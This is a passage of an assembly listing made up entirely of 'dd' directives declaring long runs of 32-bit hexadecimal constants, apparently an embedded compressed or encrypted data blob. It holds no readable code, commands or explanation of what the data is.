2DF0C104h, 0F4D4101Fh, 0EC07FB9Eh, 0DE8F30B0h, 3034D95Ch dd 0A749E479h, 8928E8F9h, 31009455h, 9EA3DD10h, 0FBDEEFFh dd 0DC590F3Fh, 954E6F80h, 8A6A128h, 0E8010746h, 2AA2D0EFh dd 0C60C24D9h, 0DC017F73h, 1909C3C2h, 53FC102Fh, 0F2110C39h dd 55081EAFh, 2E0B5D75h, 381AEBh, 0CE843616h, 7E16005Fh dd 0D4C56AACh, 1D7BD553h, 0E02C62F0h, 2D01FDF6h, 0F542E08h dd 3C803888h, 2435AD81h, 61807E33h, 5B686736h, 0DB016CFDh dd 0BB381D69h, 23E0A1CCh, 0DDD42402h, 76300079h, 55EA52B2h dd 3C146600h, 5CE4ECA3h, 1F2E7AA5h, 80EB92ADh, 0D464F9EAh dd 761E1101h, 0F0077566h, 9A57312Bh, 65EE8370h, 140500D4h dd 92BC6376h, 13706C17h, 0DD01A700h, 232CCF5h, 0FCC415DEh dd 161008DCh, 0D29EC2FDh, 264367h, 0E501B488h, 0EED03AD6h dd 6DA1BA03h, 0DCE52E8h, 0E94739E9h, 0FCF5E1F0h, 0C5032A78h dd 900DEEFEh, 0D6C0B0A8h, 313467CBh, 122DB0F4h, 0E90565E7h dd 0D7F7B3FEh, 0CC498403h, 3A481953h, 0C0FC31B6h, 5F0028CEh dd 670CF60Ah, 7650C5h, 17BE3B7Bh, 0E5877A2Dh, 0DE3C5C00h dd 7C0C5D0Fh, 72F9073Dh, 6370E984h, 0B48053DDh, 68C0044Ch dd 0C74F5612h, 39260369h, 5433DE95h, 0F2783Eh, 5134D7AFh dd 0E0D213CAh, 0A1F56AD4h, 0FAB7800Ch, 780128CCh, 95671A00h dd 0DCEB17B5h, 918C8FDh, 166309h, 71396410h, 3AE90029h dd 0E16913F5h, 0D400BD59h, 9BF2192Ch, 0F8119562h, 875188Bh dd 0A2F178EFh, 0CD7CCB05h, 9400CC02h, 7E403C22h, 6FBC7E01h dd 29C790D5h, 0FF609F14h, 7DA00934h, 786D6700h, 0BB252A65h dd 293278E9h, 42C0D5C0h, 3703E852h, 2ACC095h, 5F1300D8h dd 0A553D7E1h, 6F0C8F5Dh, 38261AECh, 8076386h, 5EDA2D5h dd 2C4D8018h, 0FC880230h, 5ED9245Dh, 0B7B680C0h, 0A5CEE093h dd 2668F300h, 277E75FFh, 32AF1501h, 5700D0DCh, 0D151954Ah dd 6B48ECE8h, 94B700A0h, 13C67AF8h, 0A89CF8D3h, 8173C80Ch dd 7CE4482Ah, 66027506h, 10352Ch, 0E6109EABh, 0AF832F23h dd 0D424B225h, 37D307EFh, 7C807F0Ch, 0C1B1866Ch, 461C1C90h dd 230AD4C0h, 0BF00D0A5h, 364DEB57h, 0A7C9201h, 0CB62E163h dd 0A8989FD8h, 0F0E53D08h, 599A900Ch, 0E40FA891h, 560795h dd 0A710D471h, 0F60890FFh, 934C04F7h, 90EC750Ch, 0B753CDA4h dd 9AEBB600h, 5606BD5Fh, 0EE7D128Bh, 0B0100035h, 0E6D9F353h dd 4F1231C0h, 5CD06C6Dh, 661907DFh, 80BE0825h, 6D3BAB21h dd 7E6E7844h, 4A39004Ch, 20633AAFh, 0EC287CA3h, 0B70CE81Ch dd 0F0B30EAEh, 0CC941861h, 35EA181Eh, 0F17848D9h, 6D085118h dd 0C2EFD072h, 1900561Ah, 50686D3Eh, 416CC034h, 19022E9h dd 7E38E757h, 1080F1F6h, 1CA6D2B1h, 8507A378h, 86AB9030h dd 0E7AC43h, 0A6CABA20h, 0F1779CADh, 0E595FB00h, 2DF4A573h dd 0F09A64h, 7F22F9B9h, 0F747DBD1h, 306623Eh, 0CBC474F3h dd 5095D08Dh, 25D317Eh, 0ECAA5989h, 400AECDh, 0F35F57FDh dd 3934F514h, 0E8512163h, 50AB10FCh, 1A39D8F9h, 18643D43h dd 911881Dh, 2DAAC681h, 53EE300Ch, 8E7D50C7h, 39368BCh dd 615E0578h, 9BA096C8h, 1600E8E2h, 869D7192h, 0F610A1h dd 191DE6Ah, 73F2EEDh, 0EE00D974h, 7DD11E51h, 0C02F0961h dd 1099BD18h, 0D600D70Dh, 0B3308891h, 0CD8DD5h, 48125079h dd 0A2074049h, 343D3238h, 0C0BE51FAh, 0DD421708h, 79314D90h dd 13A808EDh, 0C2BA2080h, 547F2BB2h, 334F2700h, 0CE5A4C26h dd 1D61899h, 677749B5h, 0DED50F01h, 609C1EBAh, 0BBEEC0h dd 8DA6E196h, 12593065h, 88B10C6Ch, 481E8C42h, 45883087h dd 40A56494h, 72B2E1AFh, 8F4D00C4h, 0B91FD355h, 0ED01FBA4h dd 7EEA340Dh, 16FDBC49h, 83C96880h, 2F75E99Ch, 615C6E18h dd 309DBB19h, 0F1880868h, 78000A89h, 0A80926E4h, 1A731F8h dd 4C8791D9h, 201462BAh, 0D01CE8F5h, 0CA80C7FAh, 0E35A90F0h dd 63E4008Ch, 0BF5B2E97h, 0C800144Ah, 47554186h, 1714B65h dd 317D10BBh, 8C9640DDh, 8AD9728h, 3FA1E46h, 5EE280AFh dd 413CDE87h, 0A77D8F18h, 98DB0F21h, 583B0075h, 85B0CAACh dd 4000B8CFh, 34640197h, 0C0F56FF4h, 5624B144h, 4417BDBCh dd 0C91D3196h, 0C640C31Ch, 4A8C2054h, 0DA290050h, 0D789BD95h dd 0DF7AFE83h, 0D95EA81Ch, 0AA6D9B40h, 0CC7051h, 96465DFBh dd 2A4DF4BCh, 1D1D8626h, 83D98039h, 0B2A24C04h, 0DA3C0098h dd 185A8835h, 340C25AAh, 0C1B4C0C8h, 1AD029Bh, 21CB584Bh dd 538573E0h, 0F4143EB8h, 1460D8h, 6540AFA5h, 35A8196h dd 86C35C43h, 54D0AC4Ah, 830E8513h, 5FF9B4BBh, 983C67C0h dd 1CFC5F8h, 37782DEBh, 0F816E55Eh, 233AB60Fh, 8510006h dd 4C77CFA4h, 0BAF40395h, 6068D015h, 0FEF7860Ah, 9A00A7DEh dd 4361D914h, 778400FAh, 38653BF6h, 9D609CBDh, 0C5050626h dd 440F00BBh, 0D93F5FCFh, 402B5B8h, 748E64A3h, 15DDC089h dd 81340106h, 759D95A2h, 0BB0CD4DCh, 988118DDh, 787B1851h dd 406B1AF0h, 6EB8ACCEh, 8E289A1Fh, 183E5E0Dh, 0B829CA80h dd 99E55DC0h, 0EDC38551h, 77108061h, 0BEBD05ADh, 0B0E9003Bh dd 0BCD3509Fh, 0C600D80Ch, 370A1A70h, 0A41372h, 27C9A151h dd 0C4962E9Dh, 0AAC89100h, 64B89A3Fh, 0A70C1D9Fh, 0EF290093h dd 0A69E6338h, 8AB56024h, 91646500h, 0F9E9D7h, 0A26B250Bh dd 1744EE29h, 93929C2h, 519D018Ah, 830101EAh, 44E4BF13h dd 184A0C0Dh, 82AD1028h, 79D2040h, 1400C811h, 0ACD2FC04h dd 5578396Ch, 0D5FDC000h, 94483BAAh, 0C8E31F0Eh, 0D89D20E4h dd 7A932Fh, 6627B5BEh, 50A629ADh, 259E320Fh, 2B0C60D4h dd 0B5E6AB6h, 997FF502h, 0C065B005h, 0E4CE203Dh, 0F38B8900h dd 5128FBE6h, 2D440F6Ah, 75A15F15h, 9C022131h, 1D808B8Eh dd 38714660h, 0D45D1E99h, 0AF31C3Dh, 0A8B6DAh, 8D1E886Dh dd 4400F862h, 5E861FA7h, 8AF9D6h, 0FEAFCB1Ah, 0C3576780h dd 0FAE0080Eh, 0BB7B4164h, 1080FD47h, 0BD2B4DD8h, 0E4800918h dd 92C727C2h, 0DF03B8D4h, 9FEE3DD0h, 8E67B840h, 602E0038h dd 9C6648E4h, 4030B729h, 3E7EE0BAh, 87EA0004h, 3D8BBFB2h dd 0C8072891h, 0F044E660h, 6C91B9B7h, 4AD8909Bh, 97370086h dd 0CD48346Eh, 5B00A464h, 4509E869h, 1F5E301h, 0F9FF6DCBh dd 0DC249E67h, 46383F6Eh, 0BB810209h, 603058FBh, 0FF2971Ch dd 162A93CCh, 0F4E14960h, 0D0083F7h, 2F196D7Eh, 26FAEBh dd 620A56CAh, 553FED0Fh, 31008FF0h, 46D29FAFh, 0B11A7Fh dd 301C8309h, 5897843Ch, 73085900h, 0DACA6406h, 5A03260Ch dd 0C74A0061h, 24857961h, 49299700h, 0D1B345A0h, 3399015Bh dd 0FD1FC31Bh, 20D0D49Bh, 0C8007AECh, 1DB352ADh, 0AEE5EDh dd 3C5037B1h, 0A15FDD2Fh, 163BCC00h, 520A0235h, 22323D14h dd 56861B80h, 84F5BC61h, 652BE500h, 1EE68D0Dh, 0ECE90E71h dd 8583262Ah, 0DF98BEBBh, 0AF0FF15Ch, 802579E5h, 70200A7Ah dd 18C43AF8h, 0ECDA01Dh, 97A266h, 0AC65E985h, 2B00419Ch dd 0DC440342h, 698DA07h, 1D1A89ABh, 0C0796064h, 844E9B18h dd 2733411h, 0A6023ACBh, 47E1B95Ch, 0B36020EEh, 0EBF3F602h dd 60CDF748h, 4C42A5h, 2E7DC21Ah, 0EE1F3D64h, 0CBA0B500h dd 4ECEE75Fh, 0DB9A01AFh, 539ED0DCh, 0CF183041h, 0A10DEF00h dd 0D76E6DA5h, 759A00C9h, 0F1BBCCCDh, 47ECE508h, 3F94A212h dd 6CCE5200h, 0EDF320Dh, 0AB2D39D1h, 5E31E9C0h, 0E10452B5h dd 25CC14F2h, 56902C80h, 0A09A0085h, 29B9053Bh, 0F1F3271h dd 803B19B8h, 9072F4F6h, 0E3162EAh, 0E345C38Bh, 699387FFh dd 0B0D77026h, 4473CAE0h, 6D00D87Ah, 515FC6D2h, 98B39Ch dd 73419BDBh, 2C0ED454h, 0FD9FEA00h, 0FC76A5F1h, 97BD1FB5h dd 0A6A9C3B7h, 80CC5536h, 0AB2E3F93h, 0F8C1DB00h, 0DD1743FDh dd 4A710177h, 9E685AC2h, 9138201Dh, 9900C67Ch, 5EFE9246h dd 788260h, 8730DEE0h, 81B1A96Dh, 0A6F9D000h, 6F9EA074h dd 5B3304E9h, 0ABB387CBh, 0ABF80880h, 76ED043Dh, 8025FA58h dd 2EBDA338h, 121C6307h, 0BB40164Bh, 0EE56E8DFh, 93E000E4h dd 0A3AA3BAFh, 2900EE32h, 0E2C1B250h, 7FD4CBD1h, 0D2F80F55h dd 90A080B7h, 8FA4F33Fh, 736B411Ch, 8397DF00h, 0BE2D3B2h dd 0C4ACBD9Bh, 5907AF76h, 7A706F77h, 65BACEh, 3D3B106Ch dd 0B55CF048h, 0F390FB02h, 408122E5h, 0F64B611Ch, 760900E0h dd 87B8C280h, 9001DC8Ch, 107546D5h, 0D620BF4Fh, 3EF77B13h dd 0B5838F19h, 40448C53h, 1D18B0BFh, 3C0FD97Bh, 805EE475h dd 8CCC83B2h, 42AA5C9Ch, 0DB809F3Ah, 6918B6E2h, 7A001502h dd 0A5B754C9h, 426E0h, 1B4C1CAh, 67DAB32Ah, 0C3C8350Eh dd 0D01F01FAh, 0C0FAA50Fh, 2D1318h, 5EEF4704h, 0AF8F34DAh dd 0B6C27B00h, 0A8262520h, 38541E0Eh, 4056C072h, 47030487h dd 60D35300h, 0A54D70BFh, 0B2AB000Ch, 0AAB95171h, 0D01399Fh dd 36216FA0h, 9AE069F8h, 1B3703E3h, 3AAB0899h, 5B1CD1A8h dd 900777Dh, 9CA7F119h, 417DAh, 0BBE08423h, 94E1A53Eh dd 0D8F0C30Ch, 177DE0F9h, 80CDCFh, 2CD351B3h, 80E9E71h dd 409F907Eh, 3A97E3AFh, 8CCB482Dh, 62B67300h, 0FFD587FDh dd 0E9746101h, 0D8483119h, 0C730F8h, 50A21F97h, 0D499F62Fh dd 8A380900h, 56E4D8Dh, 0CBA0062h, 0CACB7B95h, 14001696h dd 264AF006h, 2CDD1A5h, 0DB77B8E5h, 1FC3C702h, 5159D8D8h dd 8E03AA3Dh, 962D64h, 5FCC342Fh, 0BFAD50EBh, 87A600DDh dd 55536F30h, 8B00D799h, 9E077A6Bh, 1F631529h, 0C0E631F2h dd 71145F5Dh, 0D124E112h, 360F141Bh, 551C0015h, 126C9F0h dd 936DAFB9h, 0DC409231h, 0B80014B7h, 0A7D422D7h, 9290696Bh dd 2A3705A4h, 832FA468h, 1598E1D0h, 4C05A2A9h, 44BF4202h dd 6FDE0Fh, 126948DCh, 8DD900CAh, 0CE45ECDFh, 0B80074E7h dd 30688054h, 2CB4A29Dh, 3EEDA3D2h, 63E5100h, 2E3B2872h dd 0A8F4CD00h, 13BF6F70h, 77374B3h, 1E642395h, 0FD505E4h dd 998F5C89h, 798176E0h, 1B0B1953h, 622F70h, 0CB289DE3h dd 0CE7B1CD1h, 0DD7580C5h, 77328D7Ch, 5DB05900h, 0F98B63DFh dd 0BA080060h, 2357D6A1h, 78170D6Bh, 841EB59h, 33FEA2C7h dd 0EB89C70h, 95AB7FE2h dd 0FC00360Bh, 0CBEFEC76h, 8EA4B550h, 0D54D3C1Dh, 25DF240h dd 822A4Bh, 0CB2E48BEh, 808F335Ch, 9ADA7300h, 18473932h dd 84C72498h, 0DDFB032Ah, 9C8880BBh, 0D60031C5h, 9063A115h dd 30F5624h, 0DC7C4BC1h, 3E489EA5h, 7B7D039Ch, 0E0D1A9EAh dd 93C5755h, 0B9190D6Ah, 99C5480h, 74000A59h, 0B241C7BFh dd 65F8A3h, 388F3C7Bh, 71DE1CE1h, 750DDF00h, 4A313EA0h dd 5FF8A143h, 40871FCCh, 1530F81Eh, 0FDBF1827h, 0F0EC243Ah dd 0BE408B30h, 0D5A39000h, 0B9701BFAh, 0E088D816h, 0E5BF2C30h dd 0F3E10090h, 2C38CCC5h, 566E461Ch, 0A9A7A019h, 7770E2h dd 1DD66710h, 9B59E678h, 0D0B33Ah, 0F4567571h, 0A09D5Fh dd 0B5A496A1h, 25F1A254h, 14390D12h, 7324C480h, 0D17F4Dh dd 5ACB151Dh, 23D6830Eh, 0B03F9500h, 518DBA94h, 106A0080h dd 2F061A40h, 0D400E28Ch, 3DC25302h, 298CF8Bh, 0E4EA3BC6h dd 374035F3h, 9F0BC716h, 1A38328h, 9A37D1ECh, 9CA6A102h dd 94002839h, 57E3EB2Ah, 24EEFC42h, 8320A368h, 6BA2BDF2h dd 23D57801h, 0F06A11D1h, 0A890E0EAh, 4620009Bh, 57F3270Ch dd 0FF00CC1Eh, 0B1E03FA1h, 0B097B93Dh, 7924F017h, 476400BBh dd 9DEDCB0Eh, 9FF0B752h, 217EFC00h, 0B88C7F3Bh, 7CEF0094h dd 0C4EB1B36h, 6A00FEA8h, 0B957532Dh, 3A3C670Eh, 8A80EC8Bh dd 94C15B34h, 9F13BCA2h, 76001BE3h, 669A7498h, 78DB39DAh dd 5A937AB8h, 80F31DE8h, 7B54A20h, 6B373528h, 0E3805A1Fh dd 0B01596h, 59D444CFh, 7D92C791h, 7CD6000h, 6B1AC9EFh dd 0B8820B49h, 66834D89h, 0FDC834F8h, 0EE00D63Ch, 5861A49Fh dd 6326A20Eh, 0CA41D180h, 0B820FA8Ah, 17D465Ch, 3EAA2FC4h dd 0D4CC091Eh, 5100B756h, 0A0E720F4h, 2D66CF73h, 8278EB30h dd 4DD2BE1Eh, 0BB454740h, 0F05315h, 5097CD12h, 0D33C2ACEh dd 0D2B26B0Fh, 0EE64009Fh, 2BA81Bh, 387C8418h, 90E0FE0Fh dd 0C68E7900h, 480EA903h, 28BB4B61h, 5A0A7588h, 0F87F4F4Ah dd 5F519C00h, 0E7AA03h, 0F0FE332Fh, 0BCFAE0C1h, 5E4F7EC1h dd 92D49F2Bh, 858A0737h, 0E0911812h, 342CA8D5h, 7AEFF12Ch dd 0C068060Eh, 19A39BDAh, 0D47000B8h, 3BADAB75h, 0AE00B140h dd 28FDFA8Fh, 17A5BAB4h, 0CEBEC5h, 60F78EFCh, 0C008F36h dd 53EE9F9Eh, 48391Dh, 441F84F5h, 6E5AB8F2h, 0E630CD63h dd 7512D8FEh, 59670005h, 0AA9E8BEEh, 0FF01FB83h, 0E910A1A7h dd 6020230Ch, 0A9F0F6h, 3A6CF8C5h, 58FA9D0Dh, 58FDE18h dd 5EAFE8h, 24C0F52Ah, 0FBD87EEFh, 0B7126098h, 9028B17Ah dd 0AF91015Ah, 5FDC6DADh, 41F8D3A5h, 93F4BCE8h, 0EC5950C0h dd 3192F5h, 0FCC7DF8Fh, 0D25BD815h, 0D7484400h, 799FA8A4h dd 4C7AF466h, 5904BC05h, 0E0D03DB2h, 5F247500h, 0FC00E044h dd 32CA09A2h, 3B222616h, 1D9301ECh, 0F821FB3Fh, 4102EB94h dd 0E4238E0Dh, 15254138h, 4748F440h, 0BC7DF4h, 0DD1693F5h dd 31A2D9DEh, 87AC633Eh, 39838C48h, 281BADB0h, 0AFE90026h dd 5C3FC86Ch, 99009EB6h, 0C664EC75h, 0D9FF40h, 0FB9A3853h dd 329FE68Bh, 0AEC9910Eh, 5B21A06Ch, 68CFCAh, 4D8F5F3Eh dd 3FEFF286h, 96E1B473h, 0D8006730h, 0ECE75850h, 3BE00448h dd 8038A7EEh, 91F6A4B1h, 949A5724h, 805FD509h, 0B8D828ACh dd 5080F1CBh, 0D3030A2Ch, 0C100A204h, 4722189Fh, 0FD56E6Dh dd 7B0F911Dh, 448EBD62h, 0F8A97880h, 223F4737h, 0DB389CD8h dd 3867B6C9h, 1BBB894h, 0C5C32059h, 0FCE05A2Bh, 0FC12E74Dh dd 400085E9h, 0A5B861BDh, 0B05F0218h, 1588DD4Bh, 0A455C360h dd 520C0C90h, 447C3DC7h, 0D2290031h, 0CEBB91DFh, 1E389A9Bh dd 5FE48F3Fh, 7B480B7h, 7AD0FAh, 6ED61323h, 0EE7DE7A6h dd 0EB64D200h, 5D1559EAh, 8E8327F3h, 54B2E880h, 3182EAFh dd 58C86C41h, 88A2488Ch, 26689702h, 7C6029D6h, 7000BD6Bh dd 0F13A837Dh, 98880349h, 51D31D39h, 75F48043h, 0CE8112D9h dd 0EC094Ch, 0BDD495FCh, 0C2273Ch, 6D2DE396h, 6CFE1B5Ah dd 94AD9200h, 0F047A113h, 0FD740001h, 3980A7D2h, 0CF00594Ah dd 6CCAC6F6h, 0F471977Fh, 50620BFAh, 7C0065ACh, 0A6DEB7F1h dd 8FF0BD3Fh, 4096402Bh, 68E7B5D4h, 6D090358h, 545B700Eh dd 0FFD62D0h, 104948h, 0BA27EC6Bh, 78365E8h, 0A2CB409Fh dd 51786335h, 0D31E43A8h, 0F5BC6000h, 8FFEE0DDh, 0B4825863h dd 0A492AA09h, 0A12A6820h, 86049F22h, 3AD95D6Dh, 0E77CA480h dd 3EA60B6Ah, 8C900D15h, 8509724Dh, 2E4ECCh, 248CEF6Dh dd 0E4711E3Eh, 1ECF8090h, 0B32B8EBBh, 4E8B3100h, 0FAE6304Ch dd 857F00E1h, 2C073EEBh, 1407B4F4h, 0DBCABB29h, 5EE22AB0h dd 0BDAC0F30h, 3860C785h, 0B3451705h, 14EC20B8h, 78287A00h dd 0CC024BB7h, 669E0072h, 0B2B429F3h, 451F5ABFh, 0F1011312h dd 75B06893h, 0D5A83080h, 7640F7C6h, 1A4C10C0h, 0B47494h dd 3DFF14FCh, 0C285BA81h, 0A0898B2Dh, 784D6010h, 681900BDh dd 0C951311Eh, 0D800FDB3h, 646A0F43h, 1F2409h, 0C4ACAD56h dd 92D78FF2h, 38E15C03h, 0E0B399E7h, 746DA1h, 4B654E06h dd 0B9181D68h, 362960C0h, 0B854F740h, 0F6260000h, 7D1B0498h dd 0EFE80E9Bh, 8C633E2Ch, 6C1C648Eh, 1439BBh, 4FE5232Ch dd 4D530B91h, 0C31D970Ah, 2F082CB8h, 9B7E42F8h, 0D9DA500h dd 0C401005Dh, 21ABF9E9h, 3101E387h, 6AAA7C23h, 1AD84135h dd 0EC301E77h, 4868C052h, 0D292B908h, 9497C300h, 0C5A126D7h dd 5CAF00DBh, 1A07FBE0h, 0F803C212h, 0E8ACE624h, 0AE46A099h dd 0B908C094h, 7CBB39FDh, 0BAE21800h, 0C8CF22A3h, 21976C53h dd 0AC3C5BECh, 80DF3B98h, 3E6A5175h, 4E533Fh, 0FE440C66h dd 0E629055Ah, 0FFB49002h, 0E204B63Bh, 630607Eh, 7E0F4h dd 147FF772h, 671E2B2Fh, 2C595600h, 18AA4AEEh, 0F9260192h dd 998C0C5Bh, 0B666E445h, 113FB500h, 2D3802DCh, 1CA30025h dd 0B209F48Eh, 0B60FC90Eh, 20102CE9h, 0A1F98C9Ch, 0ADC8EF7Fh dd 295E00CEh, 59853A76h, 6600067Eh, 7D82BC08h, 0C07AD194h dd 0B7DC1650h, 7100966Bh, 12AF5A9Ch, 414E134h, 91E41795h dd 501782B6h, 0B8788890h, 22711698h, 1CE4C20Ch, 6D087Ah dd 0DBB94745h, 0DF466C58h, 0B161F400h, 0A4DEB2A8h, 3EF682h dd 5634058Dh, 0B3651654h, 0CA8BFA0Ch, 0E22D64E7h, 5B9F0382h dd 5D1653ADh, 818BFEA1h, 4E809879h, 78DF4122h, 71F668h dd 92C912A7h, 9AC597C1h, 2730C474h, 9985204Eh, 1FE9EEA7h dd 7A17F4h, 996F9A9h, 0E8C563B7h, 0EC00AD81h, 0E9500C46h dd 4E780031h, 0DF5A9D42h, 0E314472Bh, 1841B54h, 17B71471h dd 0E8C03413h, 9AA91996h, 60D3483Eh, 0C6015585h, 0A7A1BB2h dd 2CEC20CAh, 9E756Bh, 0C431865Eh, 0D8D42485h, 51E95200h dd 1ECA1C13h, 0BBC600C8h, 7501AC15h, 0B673E6C5h, 8C7C5B17h dd 6A7F1100h, 0B93F0h, 5955E40Ah, 0BB65259Bh, 33E1610Fh dd 20EEEC84h, 0ADB8A028h, 0F34F011h, 23BDA51Ch, 7AFA21E0h dd 0EC00B68Bh, 7618FED2h, 3D77E06h, 0ED7867F1h, 398F4F6Eh dd 1E220800h, 7CF83B2Bh, 386CD000h, 954AAAB3h, 6F170310h dd 4492881Ch, 707CD8C0h, 8363800h, 0AE75F012h, 10940084h dd 4473BD28h, 5900B890h, 386D20F8h, 1C3C7AF5h, 80EDA6E9h dd 0A2BCA9Bh, 6E0087DBh, 4899DD86h, 36BFEB7h, 70B45D45h dd 22AA4029h, 2D6C80A0h dd 717CA036h, 1B064E1Bh, 9DCD8018h, 0BF490031h, 0DF3B0FBBh dd 6B00928Dh, 48CC3EB1h, 3009E974h, 6A491871h, 26001089h dd 6630431Eh, 79D11D41h, 4A570B46h, 0B8019F42h, 0E05D89B4h dd 585C2FCDh, 9B300B2Bh, 35970016h, 0CDB1F43h, 0E34C4625h dd 21C06108h, 8734F373h, 8DC80F2Dh, 51804FDBh, 5FDB14Ah dd 9A615Ch, 0AE6B5BE5h, 78C8F253h, 891A182Fh, 2EE64047h dd 0DD37FB00h, 78872CEh, 861C33B5h, 217CA908h, 0D127D2E4h dd 0E6150C0h, 0AE69F201h, 0B57BCC63h, 2F077018h, 0B85D6650h dd 0A1B260DCh, 6CE0092Bh, 8155EB00h, 37EF97ACh, 0E3FD00C9h dd 0BA181677h, 48F0910Dh, 70174630h, 1CC4FE63h, 80DF7951h dd 880FF3A2h, 0E3000769h, 0D724CFBAh, 0C0978D3Fh, 0B0FD72A0h dd 0D175B4D2h, 8061FE3Ch, 18F785A3h, 0A08C3379h, 341404ACh dd 1B8F1BDh, 51050180h, 8E1080F6h, 91A555D4h, 0B4FE00F4h dd 38AA3109h, 420047A2h, 0C7DB8149h, 3FFCA8E6h, 1A005D10h dd 0C4DC2D45h, 1C0243BFh, 0B1980AE4h, 4ADF61EAh, 2975ECh dd 0A989D36Ch, 0D1934B8Fh, 0FA002CB8h, 0DCBF1BECh, 0EE36814Ah dd 95730021h, 1AB8170Bh, 7A7D35BEh, 903E4Ch, 0AC37A487h dd 1E4D9Fh, 9608850Dh, 0A157FFE9h, 66536400h, 0CA56EEC4h dd 0CDE81D74h, 8726803Fh, 109F5093h, 0E0392061h, 7DD1F46Bh dd 0F82E6E0h, 8495C7BDh, 5BBF9E00h, 9C006B4Bh, 1C9F7E01h dd 0A449E6h, 1890F0F5h, 993F9210h, 868C153Dh, 2B04A04Eh dd 0EC960059h, 0F10E439Bh, 8600D698h, 0FE2EDF74h, 7E061EBDh dd 1D9A7CFFh, 4EB80EA8h, 0B4E2AF9Eh, 0B780532Ch, 86B31869h dd 9950F807h, 208040A1h, 0DC9C02h, 0A01E7A19h, 0BBD1172Ch dd 0B706560Fh, 3CBA2518h, 19986C04h, 0B1BD7441h, 3A18BC32h dd 33E5Eh, 30F38769h, 6F435244h, 56403824h, 795BAFCFh dd 8DC34D00h, 0FE5CCD3Ch, 942C0784h, 1096F6EFh, 0DEEB276h dd 334FDC00h, 1B77CE39h, 0A8800F0Ch, 4806F93h, 0E1D53E3h dd 0F700C879h, 0EE085527h, 54C7FDh, 682B3E95h, 79A4F606h dd 42F40403h, 90092ED4h, 6437C5Ch, 0AA8E54C3h, 3020292Ch dd 46EE0F7Bh, 835F27D4h, 91D45DDh, 0F3D015DBh, 0D8002D95h dd 0F1F7A3E1h, 7C0E50F9h, 81EE00F5h, 2B01199Ah, 0E700A090h dd 7CBAB38Ah, 0A309Eh, 0CE0F8BF0h, 8C7AD633h, 7D05B57Eh dd 764FF189h, 0FE85EF80h, 0E05600D9h, 2D3D3221h, 491DC11Ah dd 10409308h, 9142F34Bh, 6AA20029h, 6F9712ABh, 2F0028EBh dd 708B3E25h, 1FE58FBh, 0A406ED99h, 0EA643BBBh, 0EFF78880h dd 4407AE39h, 7FF443B0h, 0D573A701h, 0C8FE20h, 1B183BB2h dd 0C7D02CFDh, 0A209977Fh, 8EF5458Bh, 793EE00Ch, 0B08398h dd 5EE2B1C8h, 19C06675h, 3D3A6000h, 33513FC2h, 648000BAh dd 489A838Ah, 0B200A535h, 0F84268D6h, 182AEB0h, 6A0A5B19h dd 0E479944Fh, 0AD772778h, 8803461Dh, 0F47BD5C0h, 0B5594Bh dd 50C3E4A3h, 647AEBAh, 43A8421Ch, 9F9572C0h, 0C0FCD03Eh dd 13027E0h, 940052F0h, 5D5C0A6Fh, 6B0FA0h, 0F8938F34h dd 0FEB0C17Ch, 2C803500h, 0E2527028h, 4C9D00A2h, 0FD5BC73Dh dd 2412420Ch, 0EE0054AFh, 5D52931Bh, 85000BCh, 0F4A35FCEh dd 8500AD56h, 6D1CA649h, 0C04B66Fh, 55E3110Bh, 0B300B4E2h dd 0A2DCCEF9h, 0ADE4A4h, 0CAF6DBBCh, 0A5756F16h, 0BFD30100h dd 523EB835h, 2F0B0972h, 73809959h, 463A0A82h, 17AD506h dd 11798Dh, 389E2451h, 1FEBCD6Bh, 0D5FF7D04h, 80852B0Ch dd 0C5638800h, 3F34F109h, 650098F5h, 7A4215E6h, 0C6001D99h dd 7B07ED3Bh, 8651EFh, 0D3C0D5AEh, 80A8B334h, 0E9B2D707h dd 77004245h, 743DF546h, 6B5F0038h, 5B8107DFh, 0A503B867h dd 0D27E968Eh, 0C5B3CBDDh, 47D6B4C0h, 82FB0036h, 0AE258850h dd 0B003452h, 26AD8E83h, 55DF3C7h, 0EA925EB6h, 40C2800Ah dd 6307BCCCh, 0C35F9A4Ah, 35F4C8B0h, 1AF79ECh, 3BAABEAh dd 0C74CB2F6h, 0E801EB81h, 0A3002939h, 0A1DAD0E7h, 63999Eh dd 5B922518h, 0E3ABD11Eh, 50D5158h, 0E606B7E5h, 3B398180h dd 59A200B9h, 0FA96F822h, 8000AAA8h, 0F1B5DCEh, 1F402B7Eh dd 0CE6C4E5Bh, 3282F14Dh, 9E0D6AAh, 5E03CD0Fh, 92213BE9h dd 0AF05C025h, 35B094h, 0F2BBAC88h, 54C8086Ch, 0C0F88000h dd 0A583635Ch, 0C6010065h, 4B79691Fh, 0E000B24h, 54619BE0h dd 0C0127040h, 2301CBCEh, 0A800EFD3h, 2B7B5C08h, 191C88Eh dd 372986B8h, 0CC585F68h, 2800DE70h, 2E97F83Bh, 0F1FA0Bh dd 60B3232Dh, 5E453DA4h, 0D13E1F01h, 0CA02766Fh, 0AD8ECh dd 99A3A847h, 0CE2AEA13h, 3C009C98h, 0FBB33B71h, 0FA05AB30h dd 2598C296h, 0C60C765h, 0AC2666A9h, 5D93546Ch, 0E50F8D00h dd 75C21E6Fh, 4D21008Eh, 6139DDF0h, 3300DC32h, 8FCD69B6h dd 0AE0CA6h, 62314E23h, 572209C2h, 4500ABFAh, 0E5F17710h dd 132C518Ch, 0BFAF86h, 5F2EDDDCh, 4300C720h, 0FAF74AA7h dd 0B66CB7h, 9A3AE1ABh, 40B58735h, 0FCEC1A3Eh, 8302F2F2h dd 16463433h, 0CDFA406Dh, 50B49243h, 0A8CEEAh, 28E5C18Bh dd 71EF2E1Dh, 0C47F3Dh, 6E6948B0h, 287CB608h, 0EE00DA7h dd 0BCD1B53h, 0F66B3580h, 94002FEDh, 9BD57443h, 71540F92h dd 0BF5A3DB5h, 6A9E4001h, 20D4A31Eh, 0C90041AFh, 7A82392Fh dd 4C90AB4Ch, 0E9802434h, 2464F8E2h, 2B49BB07h, 0B2E073FDh dd 48FEE61Ah, 26031D67h, 0A1FB4063h, 0C79C00FFh, 15079B98h dd 0AFB655DEh, 0EBB268B0h, 4B4C098Ch, 4800654h, 0A91809BEh dd 0BF46E028h, 0B1EB1C00h, 924B9B3Bh, 422A2810h, 459000A8h dd 511C1D3Fh, 2B3ABE3Ch, 95FA0048h, 193AFBF1h, 4029002Ah dd 41091694h, 0CD00520Fh, 9EBDA64Dh, 2B99B9h, 0BF4228DDh dd 25C10E4h, 0D20A100h, 0D12AB1E9h, 5D453A8Ah, 345AF180h dd 1B87C566h, 6F63E18h, 38B3650h, 0DFDABDD6h, 0B5923F13h dd 79E7FC43h, 1722B091h, 0AE7F5EC0h, 0B7600A1h, 0C78E35F0h dd 